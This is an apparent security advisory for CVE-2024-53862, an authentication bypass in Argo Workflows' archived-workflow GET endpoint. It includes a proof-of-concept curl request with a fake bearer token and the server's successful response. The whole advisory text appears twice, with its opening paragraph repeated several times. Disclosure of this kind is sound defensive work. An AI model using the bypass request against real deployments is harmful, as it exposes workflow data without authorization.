CVE-2024-53862

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. When using --auth-mode=client, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name} or when using --auth-mode=sso, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}. No authentication is performed by the Server itself on client tokens. Authentication & authorization is instead delegated to the k8s API server. However, the Workflow Archive does not interact with k8s, and so any token that looks valid will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does the equivalent of a kubectl auth can-i check for respective methods. In 3.5.7 and 3.5.8, the auth check was accidentally removed on the GET Workflow endpoint's fallback to archived workflows on these lines, allowing archived workflows to be retrieved with a fake token. This vulnerability is fixed in 3.6.2 and 3.5.13.

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. When using --auth-mode=client, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name} or when using --auth-mode=sso, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}. No authentication is performed by the Server itself on client tokens. Authentication & authorization is instead delegated to the k8s API server. However, the Workflow Archive does not interact with k8s, and so any token that looks valid will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does the equivalent of a kubectl auth can-i check for respective methods. In 3.5.7 and 3.5.8, the auth check was accidentally removed on the GET Workflow endpoint's fallback to archived workflows on these lines, allowing archived workflows to be retrieved with a fake token. This vulnerability is fixed in 3.6.2 and 3.5.13.

Summary

When using --auth-mode=client, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}

When using --auth-mode=sso, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}

Details

No authentication is performed by the Server itself on client tokens[^1]. Authentication & authorization is instead delegated to the k8s API server. However, the Workflow Archive does not interact with k8s, and so any token that looks valid will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does the equivalent of a kubectl auth can-i check for respective methods.

In #12736 / v3.5.7 and #13021 / v3.5.8, the auth check was accidentally removed on the GET Workflow endpoint's fallback to archived workflows on these lines, allowing archived workflows to be retrieved with a fake token.

PoC

Configuration

Controller ConfigMap:

  config: |
    persistence:
      archive: true
      postgresql:
        database: argoworkflows
        host: db-host
        passwordSecret:
          key: postgresPassword
          name: argo-wf-postgres-credentials
        port: 5432
        tableName: argo_workflows
        userNameSecret:
          key: username
          name: argo-wf-postgres-credentials

Server: --auth-mode=client

Reproduction

Visit a completed, archived workflow URL with an invalid authorization token, this results in the workflow being displayed.

For example, directly query the API and retrieve the workflow data (where Bearer thisisatest is not a valid token):

curl -H 'Authorization: Bearer thisisatest' -v http://localhost:8000/api/v1/workflows/argo/hello-world-7tv5g

<details><summary>Results in a returned workflow:</summary>

* Host localhost:8000 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying [::1]:8000...
* Connected to localhost (::1) port 8000
> GET /api/v1/workflows/argo/hello-world-7tv5g HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.7.1
> Accept: */*
> Authorization: Bearer thisisatest
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: application/json
< Grpc-Metadata-Content-Type: application/grpc
< X-Ratelimit-Limit: 1000
< X-Ratelimit-Remaining: 999
< X-Ratelimit-Reset: Mon, 19 Aug 2024 20:44:27 UTC
< Date: Mon, 19 Aug 2024 20:44:26 GMT
< Transfer-Encoding: chunked
<
* Connection #0 to host localhost left intact
{
    "metadata": {
        "name": "hello-world-7tv5g",
        "generateName": "hello-world-",
        "namespace": "argo",
        "uid": "e5868ab1-f820-4a9e-9407-162346a4ccb4",
        "resourceVersion": "9982",
        "generation": 3,
        "creationTimestamp": "2024-08-13T23:59:20Z",
        "labels": {
            "workflows.argoproj.io/archive-strategy": "false",
            "workflows.argoproj.io/completed": "true",
            "workflows.argoproj.io/phase": "Succeeded",
            "workflows.argoproj.io/workflow-archiving-status": "Persisted"
        },
        "annotations": {
            "workflows.argoproj.io/description": "This is a simple hello world…

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. When using --auth-mode=client, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name} or when using --auth-mode=sso, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}. No authentication is performed by the Server itself on client tokens. Authentication & authorization is instead delegated to the k8s API server. However, the Workflow Archive does not interact with k8s, and so any token that looks valid will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does the equivalent of a kubectl auth can-i check for respective methods. In 3.5.7 and 3.5.8, the auth check was accidentally removed on the GET Workflow endpoint's fallback to archived workflows on these lines, allowing archived workflows to be retrieved with a fake token. This vulnerability is fixed in 3.6.2 and 3.5.13.

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. When using --auth-mode=client, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name} or when using --auth-mode=sso, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}. No authentication is performed by the Server itself on client tokens. Authentication & authorization is instead delegated to the k8s API server. However, the Workflow Archive does not interact with k8s, and so any token that looks valid will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does the equivalent of a kubectl auth can-i check for respective methods. In 3.5.7 and 3.5.8, the auth check was accidentally removed on the GET Workflow endpoint's fallback to archived workflows on these lines, allowing archived workflows to be retrieved with a fake token. This vulnerability is fixed in 3.6.2 and 3.5.13.

Summary

When using --auth-mode=client, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}

When using --auth-mode=sso, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: /api/v1/workflows/{namespace}/{name}

Details

No authentication is performed by the Server itself on client tokens[^1]. Authentication & authorization is instead delegated to the k8s API server. However, the Workflow Archive does not interact with k8s, and so any token that looks valid will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does the equivalent of a kubectl auth can-i check for respective methods.

In #12736 / v3.5.7 and #13021 / v3.5.8, the auth check was accidentally removed on the GET Workflow endpoint's fallback to archived workflows on these lines, allowing archived workflows to be retrieved with a fake token.

PoC

Configuration

Controller ConfigMap:

  config: |
    persistence:
      archive: true
      postgresql:
        database: argoworkflows
        host: db-host
        passwordSecret:
          key: postgresPassword
          name: argo-wf-postgres-credentials
        port: 5432
        tableName: argo_workflows
        userNameSecret:
          key: username
          name: argo-wf-postgres-credentials

Server: --auth-mode=client

Reproduction

Visit a completed, archived workflow URL with an invalid authorization token, this results in the workflow being displayed.

For example, directly query the API and retrieve the workflow data (where Bearer thisisatest is not a valid token):

curl -H 'Authorization: Bearer thisisatest' -v http://localhost:8000/api/v1/workflows/argo/hello-world-7tv5g

<details><summary>Results in a returned workflow:</summary>

* Host localhost:8000 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying [::1]:8000...
* Connected to localhost (::1) port 8000
> GET /api/v1/workflows/argo/hello-world-7tv5g HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.7.1
> Accept: */*
> Authorization: Bearer thisisatest
>
* Request completely sent off
< HTTP/1.1 200 OK
< Content-Type: application/json
< Grpc-Metadata-Content-Type: application/grpc
< X-Ratelimit-Limit: 1000
< X-Ratelimit-Remaining: 999
< X-Ratelimit-Reset: Mon, 19 Aug 2024 20:44:27 UTC
< Date: Mon, 19 Aug 2024 20:44:26 GMT
< Transfer-Encoding: chunked
<
* Connection #0 to host localhost left intact
{
    "metadata": {
        "name": "hello-world-7tv5g",
        "generateName": "hello-world-",
        "namespace": "argo",
        "uid": "e5868ab1-f820-4a9e-9407-162346a4ccb4",
        "resourceVersion": "9982",
        "generation": 3,
        "creationTimestamp": "2024-08-13T23:59:20Z",
        "labels": {
            "workflows.argoproj.io/archive-strategy": "false",
            "workflows.argoproj.io/completed": "true",
            "workflows.argoproj.io/phase": "Succeeded",
            "workflows.argoproj.io/workflow-archiving-status": "Persisted"
        },
        "annotations": {
            "workflows.argoproj.io/description": "This is a simple hello world…